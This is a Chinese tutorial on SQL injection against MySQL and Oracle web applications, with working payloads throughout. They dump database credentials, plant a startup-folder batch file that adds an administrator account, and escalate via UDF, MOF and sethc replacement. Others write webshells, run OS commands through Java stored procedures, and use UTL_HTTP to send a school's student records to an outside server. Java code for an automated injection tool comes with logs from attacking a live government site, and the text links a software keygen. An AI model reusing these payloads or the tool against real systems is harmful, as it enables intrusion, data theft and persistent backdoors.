只要是从事渗透测试工作的同学或者对Web比较喜爱的同学强荐大家学习下SQL语句和Web开发基础,SQL管理客户端有一个神器叫Navicat。支持MySQL, SQL Server, SQLite, Oracle 和 PostgreSQL databases。官方下载地址:http://www.navicat.com/download不过需要注册,注册机:http://pan.baidu.com/share/link?shareid=271653&uk=1076602916 其次是下载吧有全套的下载。 似乎很多人都知道Mysql有个数据库叫information_schema里面存储了很多跟Mysql有关的信息,但是不知道里面具体都有些什么,有时间大家可以抽空看下。Mysql的sechema都存在于此,包含了字段、表、元数据等各种信息。也就是对于Mysql来说创建一张表后对应的表信息会存储到information_schema里面,而且可以用SQL语句查询。 使用Navicat构建SQL查询语句: 当我们在SQL注入当中找到用户或管理员所在的表是非常重要的,而当我们想要快速找到跟用户相关的数据库表时候在Mysql里面就可以合理的使用information_schema去查询。构建SQL查询获取所有当前数据库当中数据库表名里面带有user关键字的演示: 查询包含user关键字的表名的结果: 假设已知某个网站用户数据非常大,我们可以通过上面构建的SQL去找到对应可能存在用户数据信息的表。 查询Mysql所有数据库中所有表名带有user关键字的表,并且按照表的行数降序排列:
SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' ORDER BY i.TABLE_ROWS DESC
查只在当前数据库查询:
SELECT i.TABLE_NAME,i.TABLE_ROWS FROM information_schema.`TABLES` AS i WHERE i.TABLE_NAME LIKE '%user%' AND i.TABLE_SCHEMA = database() ORDER BY i.TABLE_ROWS DESC
查询指定数据库: 查询字段当中带有user关键字的所有的表名和数据库名:
SELECT i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME FROM information_schema.`COLUMNS` AS i WHERE i.COLUMN_NAME LIKE '%user%'

CONCAT:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

GROUP_CONCAT

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user` limit 0,1

注入点友情备份:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
注入在windows下默认是E:\如果用“\”去表示路径的话需要转换成E:\\而更方便的方式是直接用/去表示即E:/。 当我们知道WEB路径的情况下而又有outfile权限直接导出数据库中的用户信息。 而如果是在一些极端的情况下无法直接outfile我们可以合理的利用concat和GROUP_CONCAT去把数据显示到页面,如果数据量特别大,我们可以用concat加上limit去控制显示的数量。比如每次从页面获取几百条数据?写一个工具去请求构建好的SQL注入点然后把页面的数据取下来,那么数据库的表信息也可以直接从注入点全部取出来。
注入点root权限提权:

1、写启动项:
这个算是非常简单的了,直接写到windows的启动目录就行了,我测试的系统是windows7直接写到:C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目录就行了。用HackBar去请求一下链接就能过把bat写入到我们的windows的启动菜单了,不过得注意的是360那个狗兔崽子:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'

2、失败的注入点UDF提权尝试:
MYSQL提权的方式挺多的,并不局限于udf、mof、写windows启动目录、SQL语句替换sethc实现后门等,这里以udf为例,其实udf挺麻烦的,如果麻烦的东东你都能搞定,简单的自然就能过搞定了。 在进行mysql的udf提权的时候需要注意的是mysql的版本,mysql5.1以下导入到windows目录就行了,而mysql<=5.1需要导入到插件目录。我测试的是Mysql 5.5.27我们的首要任务就是找到mysql插件路径。
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select 1,2,3,@@plugin_dir
获取插件目录方式:
select @@plugin_dir select @@basedir 
show variables like ‘%plugins%’
通过MYSQL预留的变量很轻易的就找到了mysql所在目录,那我们需要把udf导出的绝对路径就应该是:D:/install/dev/mysql5.5/lib/plugin/udf.dll。现在我们要做的就是怎样通过SQL注入去把这udf导出到上述目录了。 我先说下我是怎么从错误的方法到正确导入的一个过程吧。首先我执行了这么一个SQL:
SELECT * from corps where id = 1 and 1=2 union select '','','',(CONVERT(0xudf的十六进制 ,CHAR)) INTO DUMPFILE 'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
因为在命令行或执行单条语句的时候转换成char去dumpfile的时候是可以成功导出二进制文件的。 我们用浏览器浏览网页的时候都是以GET方式去提交的,而如果我用GET请求去传这个十六进制的udf的话显然会超过GET请求的限制,于是我简单的构建了一个POST请求去把一个110K的0x传到后端。 用hackbar去发送一个post请求发现失败了,一定是我打开方式不对,呵呵。随手写了个表单提交下: 下载地址: http://pan.baidu.com/share/link?shareid=1711769621&uk=1076602916 提交表单以后发现文件是写进去了,但是为什么就只有84字节捏? 难道是数据传输的时候被截断了?不至于吧,于是用navicat执行上面的语句: 我似乎傻逼了,因为查询结果还是只有84字节,结果显然不是我想要的。84字节,不带这么坑的。一计不成又生二计。 不让我直接dumpfile那我间接的去写总行吧? 1 and 1=2 union select '','','',0xUDF转换后的16进制 INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt'发现格式不对,给hex加上单引号以字符串方式写入试下: 1 and 1=2 union select '','','',’0xUDF转换后的16进制’ INTO outFILE'D:/install/dev/mysql5.5/lib/plugin/udf.txt' 这次写入的起码是hex了吧,再load_file到查询里面不就行了吗?我们知道load_file得到的肯定是一个blob吧。 那么在注入点这么去构建一下不就行了: 其实这都已经2到家了,这跟第一次提交的数据根本就没有两样。Load file在这里依旧被转换成了0x,我想这不行的话那么应该就只能在blob字段去load_file才能成功吧,因为现在load到了一个字段类型是text的位置里面。估计是被当字符串处理了,但是很显然是没法去找个blob的字段的,(用上面去information_schema去找应该能找到)。也就是说现在需要的是一个blob去临时的存储一下。又因为我们知道MYSQL是不支持多行查询的,所以我们根本就没有办法去建表(想过copy查询建表,但是显然是行不通的)。 这不科学,一定是打开方式不对。CAST 和CONVERT 转换成CHAR都不行。能转换成blob之类的吗?CONVERT(0xsbsbsb,BLOB)发现失败了,把BLOB换成 BINARY发现成功执行了。 于是用构建的表单再次执行下面的语句: SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0x不解释,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll' 这次执行成功了,哦多么痛的领悟……一开始把CHAR写成BINARY不就搞定了,二的太明显了。其实上面的二根本就不是事儿,更二的是当我要执行的时候恍然发现根本就没有办法去创建function啊! O shit shift~ Mysql Driver在pstt.executeQuery()是不支持多行查询的,一个select 在怎么也不能跟create同时执行。为了不影响大家心情还是继续写下去吧,命令行建立一个function,然后在注入点注入(如果有前人已经创建udf的情况下可以直接利用): 因为没有办法去创建一个function所以用注入点实现udf提权在上一步就死了,通过在命令行执行创建function只能算是心灵安慰了,只要完成了create function那一步我们就真的成功了,因为调用自定义function非常简单:
MOF和sethc提权:
MOF和sethc提权我就不详讲了,因为看了上面的udf提权你已经具备自己导入任意文件到任意目录了,而MOF实际上就是写一个文件到指定目录,而sethc提权我只成功模糊的过一次。在命令行下利用SQL大概是这样的:
create table mix_cmd( shift longblob); insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
 select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
 drop table if exists mix_cmd;
现在的管理员很多都会自作聪明的去把net.exe、net1.exe 、cmd.exe、sethc.exe删除防止入侵。当sethc不存在时我们可以用这个方法去试下,怎么确定是否存在?load_file下看人品了,如果cmd和sethc都不存在那么按照上面的udf提权三部曲上传一个cmd.exe到任意目录。
SELECT LOAD_FILE('c:/windows/system32/cmd.exe') INTO DUMPFILE'c:/windows/system32/sethc.exe'
MOF大约是这样:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 union select char(ascii转换后的代码),'','','' into dumpfile 'c:/windows/system32/wbem/mof/nullevts.mof'

Mysql小结:
我想讲的应该是一种方法而不是SQL怎么去写,学会了方法自然就会自己去拓展,当然了最好不要向上面udf那么二。有了上面的demo相信大家都会知道怎么去修改满足自己的需求了。学的不只是方法而是思路切记!

作者:园长MM

Oracle

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。 Oracle对于MYSQL、MSSQL来说意味着更大的数据量,更大的权限。这一次我们依旧使用上面的代码,数据库结构平移到Oracle上去,数据库名用的默认的orcl,字段"corps_desc" 从text改成了VARCHAR2(4000),JSP内的驱动和URL改成了对应的Oracle。 Jsp页面代码: 开始注入: Union +order by 永远都是最快捷最实用的,而盲注什么的太费时费力了。 依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。 分别提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1 和?id=1 AND 1=12 得到的页面明显不一致,1=12页面没有任何数据,即1=12为false没查询到任何结果。
http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 页面正常,提交:?id=1 ORDER BY 5--报错说明字段数肯定是4。 Order by 5爆出的错误信息:
使用union 进行联合查询:

Oracle的dual表:
dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录,在Oracle注入中用途可谓广泛。
Oracle union 查询 tips:
Oracle 在使用union 查询的跟Mysql不一样Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的
SELECT * from "corps" where "id" = 1
当中查询的字段类型一致。我们已知查询的第二个字段是corps_name,对应的数据类型是:VARCHAR2(100),也就是字符型。当我们传入整型的数字时就会报错。比如当我们提交union查询时提交如下SQL注入语句: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual-- Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型的时候:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
当已知第一个字段是整型的时候:
http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
SQL执行后的占位效果: 根据我们之前注入Mysql的经验,我们现在要尽可能多的去获取服务器信息和数据库,比如数据库版本、权限等。 在讲Mysql注入的时候已经说道要合理利用工具,在Navicat客户端执行select * from session_roles结果:
Oracle查询分页tips:
不得不说Oracle查询分页的时候没有Mysql那么方便,Oracle可不能limit 0,1而是通过三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”取交集不就是1么?我数学5分党,如果有关数学方面的东西讲错了各位莫怪):
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
在Oracle里面没有类似于Mysql的group_concat,用分页去取数据,不过有更加简单的方法。
用UNION SELECT 查询:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
不过我得告诉你,UNION SELECT查询返回的是多个结果,而在正常的业务逻辑当中我们取一条新闻是直接放到对应的实体当中的,比如我们查询的wooyun的厂商表:corps,那么我们做查询的很有可能是抽象出一个corps对象,在DAO层取得到单个的参数结果集,如果有多个要么报错,要么取出第一条。然后再到controller层把查询的结果放到请求里面。最终在输出的时候自然也就只能拿到单个的corps实体,这也是视图层只做展示把业务逻辑和视图分开的好处之一,等讲到MVC的时候试着给不懂的朋友解释一下。 再来看一下我们丑陋的在页面展示数据的代码: 接下来的任务就是收集信息了,上面我们已经收集到数据库所有的用户的用户名和我们当前用户的权限。 获取所有的数据库表:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
连接符我用的是-转换成编码也就是45 已列举出所有的表名: 当UNION ALL SELECT 不起作用的时候我们可以用上面的Oracle分页去挨个读取,缺点就是效率没有UNION ALL SELECT高。 信息版本获取: http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual— 获取启动Oracle的用户名:
select SYS_CONTEXT ('USERENV','OS_USER') from dual;
服务器监听IP:
select utl_inaddr.get_host_address from dual;
服务器操作系统:
select member from v$logfile where rownum=1;
当前连接用户:
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
获取当前连接的数据库名:
select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
关于获取敏感的表和字段说明: 1、获取所有的字段schema:
select * from user_tab_columns
2、获取当前用户权限下的所有的表:
SELECT * FROM User_tables
上述SQL通过添加Where条件就能获取到常见注入的敏感信息,请有心学习的同学按照上面的MYSQL注入时通过information_schema获取敏感字段的方式去学习user_tab_columns和FROM User_tables表。
Oracle高级注入:

1、友情备份
在讲Mysql的时候提到过怎么在注入点去构造SQL语句去实现友情备份,在去年注入某大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错就是利用Oracle的utl_http包。Oracle的确是非常的强大,utl_http就能过直接对外发送Http请求。我们可以利用utl_http去SQL注入,那么我们一样可以利用utl_http去做友情备份。 构建以下SQL注入语句:
http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
UTL_HTTP 会带着查询数据库的结果去请求我们的URL,也就是我注入点上写的URL。Tips:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过大的话会导致数据丢失,如果想完整的友情备份这种方法并不是特别可行。只用在浏览器上请求这个注入点Oracle会自动的把自己的裤子送上门来那种感觉非常的好。 使用UTL_HTTP友情备份效果图: utl_http在注入的时候怎么去利用同理,由于我也没有去深入了解utl_http或许他还有其他的更实用的功能等待你去发现。
使用UTL_FILE友情备份:
创建目录:
create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';
导出数据到文件:
declare frw utl_file.file_type; begin frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w'); for rec in (select * from admin) loop utl_file.put_line(frw,rec.id||','||rec.password); end loop; utl_file.fclose(frw); end; /
效果图:
GetShell
之前的各种Oracle文章似乎都提过怎样去getshell,其实方法倒是有的。但是在Java里面你要想拿到WEB的根路径比那啥还难。但是PHP什么的就不一样了,PHP里面爆个路径完全是家常便饭。因为数据库对开发语言的无关系,所以或许我们在某些场合下以下的getshell方式也是挺不错的。 在有Oracle连接权限没有webshell时候通过utl_file获取shell (当然用户必须的具有创建DIRECTORY的权限): 执行:
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
当然了as后面跟的肯定是你的WEB路径。 执行以下SQL语句: 创建目录:
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/'
写入shell到指定目录:注意directory在这里一定要大写:
declare frw utl_file.file_type; begin frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w'); utl_file.put_line(frw,'hello world.'); utl_file.fclose(frw); end; /
在低权限下getshell: 执行以下SQL创建表空间:
create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ; CREATE TABLE SHELL(C varchar2(100)) tablespace shell; insert into SHELL values('hello world'); commit; alter tablespace shell offline; drop tablespace shell including contents;
这方法是能写文件,但是好像没发现我的hello world,难道是我打开方式不对? Oracle SQLJ编译执行Java代码: 众所周知,由于sun那只土鳖不争气居然被oracle给收购了。 不过对Oracle来说的确是有有不少优势的。 SQLJ是一个与Java编程语言紧密集成的嵌入式SQL的版本,这里"嵌入式SQL"是用来在其宿主通用编程语言如C、C++、Java、Ada和COBOL)中调用SQL语句。SQL翻译器用SQLJ运行时库中的调用来替代嵌入式SQLJ语句,该运行时库真正实现SQL操作。这样翻译的结果是得到一个可使用任何Java翻译器进行编译的Java源程序。一旦Java源程序被编译,Java执行程序就可在任何数据库上运行。SQLJ运行环境由纯Java实现的小SQLJ运行库(小,意指其中包括少量的代码)组成,该运行时库转而调用相应数据库的JDBC驱动程序。 SQLJ可以这样玩:首先创建一个类提供一个静态方法: 其中的getShell是我们的方法名,p和才是参数,p是路径,而c是要写的文件内容。在创建Java存储过程的时候方法类型必须是静态的static 执行以下SQL创建Java储存过程:
create or replace and compile java source named "getShell" as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
创建函数:
create or replace function getShell(p in varchar2, c in varchar2) return number as language java name 'util.getShell(java.lang.String, java.lang.String) return Integer';
创建存储过程:
create or replace procedure RC(p in varChar, c in varChar) as x number; begin x := getShell(p,c); end;
授予Java权限:
variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system;
写webshell:
exec :x:=getShell('d:/3.txt','selina');

SQLJ执行cmd命令:
方法这里和上面几乎大同小异,一样的提供一个静态方法,然后去创建一个存储过程。然后调用Java里的方法去执行命令。 创建Java存储过程:
create or replace and compile java source named "Execute" as import java.io.BufferedReader; import java.io.InputStreamReader; public class Execute { public static void executeCmd(String c) { try { String l="",t; BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk")); while((t=br.readLine())!=null){ l+=t+"\n"; } System.out.println(l); } catch (Exception e) { e.printStackTrace(); } } }
创建存储过程executeCmd:
create or replace procedure executeCmd(c in varchar2) as language java name 'Execute.executeCmd(java.lang.String)';
执行存储过程:
exec executeCmd('net user selina 123 /add');
上面提供的命令执行和getshell创建方式对换一下就能回显了,如果好不清楚怎么让命令执行后回显可以参考: http://hi.baidu.com/xpy_home/item/09cbd9f3fd30ef0585d27833 一个不错的SQLJ的demo(犀利的 oracle 注入技术)。 http://huaidan.org/archives/2437.html

自动化的SQL注入工具实现

通过上面我们对数据库和SQL注入的熟悉,现在可以自行动手开发注入工具了吧? 很久以前非常粗糙的写了一个SQL注入工具类,就当作demo给大家做个演示了。 仅提供核心代码,案例中的gov网站请勿非常攻击! 简单的SQL Oder by 注入实现的方式核心代码:
1、分析

URLpublic static void AnalysisUrls(String site) throws Exception
这个方法主要是去分析URL的组成是否静态化等。
2、检测是否存在:
这个做的粗糙了些,只是通过请求提交不同的SQL注入语句去检测页面返回的情况:
/** * 分析SQL参数是否存在注入 * @param str */ public static void AnalysisUrlDynamicParamSqlInjection(String str
) { Map content,content2; sqlKey = new ArrayList(); content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包 int len1 = content.get("content").toString().length();//原始请求的response长度 boolean typeIsNumber = false; String c1
= {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//需要检查的对象 for (int i = 0; i < str.length; i++) { typeIsNumber = StringUtil.isNotEmpty(str
.split("="))&&StringUtil.isNum(str
.split("=")
)?true:false; for (int j = 0; j < c1.length; j++) { content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str
, str
.split("=")
+"="+str
.split("=")
+c1
)); if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) { existsInjection = true; sqlKey.add(str
); break ; } } } if (existsInjection) { // System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found."); getSelectColumnCount(str); getDatabaseInfo(); } }
检测过程主要发送了几次请求,一次正常的请求和N次带有SQL注入的请求。如果SQL注入的请求和正常请求的结果不一致(有不可控因素,比如SQLMAP的实现方式就有去计算页面是否稳定,从而让检测出来的结果更加准确)就可能是存在SQL注入。 日志如下:
url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148 url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148' url:http://www.tchjbh.gov.cn:80//news_display.php param:id=148
获取字段数主要是通过:
/** * 获取查询字段数 * @param str */ public static int getSelectColumnCount(String str
){ Map sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包 int len1 = sb.get("content").toString().length();//原始请求的response长度 int count = -1; for (Object o : sqlKey) { count = getSbCount(o.toString(), len1);//计算字段 } return count; } /** *获取order by 字段数 * @param key * @param len1 * @return */ public static int getSbCount(String key,int len1){ System.out.println("-----------------------end:"+end+"-----------------------------"); Map sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) { System.out.println("index:"+end); start = end; for (int i = start; i < 2*start+1; i++) { System.out.println("************开始精确匹配*****************"); Map sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23")); Map sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23")); if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) { System.out.println("order by 字段数为:"+end); sbCount = end;//设置字段长度为当前检测出来的长度 return index = end; }else { end++; } } }else { end = end/2; getSbCount(key, len1); } return index; }
利用检测是否存在SQL注入的原理同样能过检测出查询的字段数。我们通过二分去order一个by 一个数然后去请求分析页面一致性。然后不停的去修改数值最终结果相等即可获得字段数。上面的分析的代码挺简单的,有兴趣的同学自己去看。日志如下:
************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+15+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+16+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+16+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+17+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+17+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+18+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+18+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+19+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+19+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+20+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+20+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+21+%23 ************开始精确匹配***************** url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+21+%23 url:http://www.tchjbh.gov.cn/news_display.php param:id=148+orDer+By+22+%23 order by 字段数为:21 skey:id=148
在知道了字段数后我们就可以通过构建关键字的方式去获取SQL注入查询的结果,我们的目的无外乎就是不停的递交SQL注入语句,把我们想要得到的数据库的信息展示在页面,然后我们通过自定义的关键字去取回信息到本地:
/** * 测试,获取数据库表信息 */ public static void getDatabaseInfo(){ String skey = sqlKey.get(0).toString(); System.out.println("skey:"+skey); StringBuilder union = new StringBuilder(); for (int i = 0; i < sbCount; i++) { union.append("concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),"); } Map sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23"))); String rs = ((String)sb.get("content")); String user = rs.substring(rs.lastIndexOf("
")+6,rs.lastIndexOf("
")); String version = rs.substring(rs.lastIndexOf("
")+9,rs.lastIndexOf("
")); String database = rs.substring(rs.lastIndexOf("
")+10,rs.lastIndexOf("
")); System.err.println("user:"+user); System.err.println("version:"+version); System.err.println("database:"+database); }
代码执行的日志:
url:http://www.tchjbh.gov.cn/news_display.php param:id=148-1+UnIon+SeleCt+concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
'),concat('
','
',version(),'
','
',user(),'
','
',database(),'
','
')%23 user:tchjbh@127.0.0.1 version:5.1.56-community database:tchjbh

模拟SQL注入分析注入工具原理

下面这个演示是针对想自己拓展上面写的SQL注入工具的同学。这次我才用的是PHP语言去弄清SQL注入工具的具体实现。数据库采用的是wordpress的结构,数据库结构如下,建议在本地先安装好wordpress任意版本: 代码如下:
".$sql."";//打印SQL /*截取SQL注入工具的SQL*/ $paths="getsql.txt";//定义要生成的html路径 $handles=fopen($paths,"a");//以可写方式打开路径 fwrite($handles,$sql."\t\t\n\n\n");//写入内容 fclose($handles);//关闭打开的文件 $result = mysql_query($sql,$con);//执行查询 /*结果遍历*/ while ($row=mysql_fetch_array($result)) { echo "
".$row
."
";//把结果输出到界面 echo "
".$row
."
";//文章内容 } mysql_close($con);//关闭数据库连接 } ?>

建立好数据库和表之后访问(由于我采用的是自己的wp博客,所有有大量的测试数据如果没有数据建议安装个wordpress方便以后的测试): SQL注入测试: 让我们来看下m4xmysql究竟在SQL注入点提交了那些数据,点击start我们的PHP程序会自动在同目录下生成一个getsql.txt打开后发现我们截获到如下SQL: 看起来不算多,因为我没有自动换行,以上是在获取数据库相关信息。 让我来带着大家翻译这些SQL都做了些什么: /*检测该URL是否存在SQL注入*/ SELECT * from wps_posts where ID = 739 and 1=0 SELECT * from wps_posts where ID = 739 and 1=1 /*这条sql开始查询的字段数,请注意是查询的字段数而不是表的字段数!*/ SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)-- SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)-- SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)-- /*........................省去其中的无数次字段长度匹配尝试................................*/ /*匹配出来SELECT * from wps_posts where ID = 739一共查询了10个字段*/ /*那么他是怎么判断出字段数10就是查询的长度的呢?答案很简单提交以下SQL占位10个页面显示正常而前面提交的都错误所以得到的数量自然就是10了。获取请求的http status或许应该就行了*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
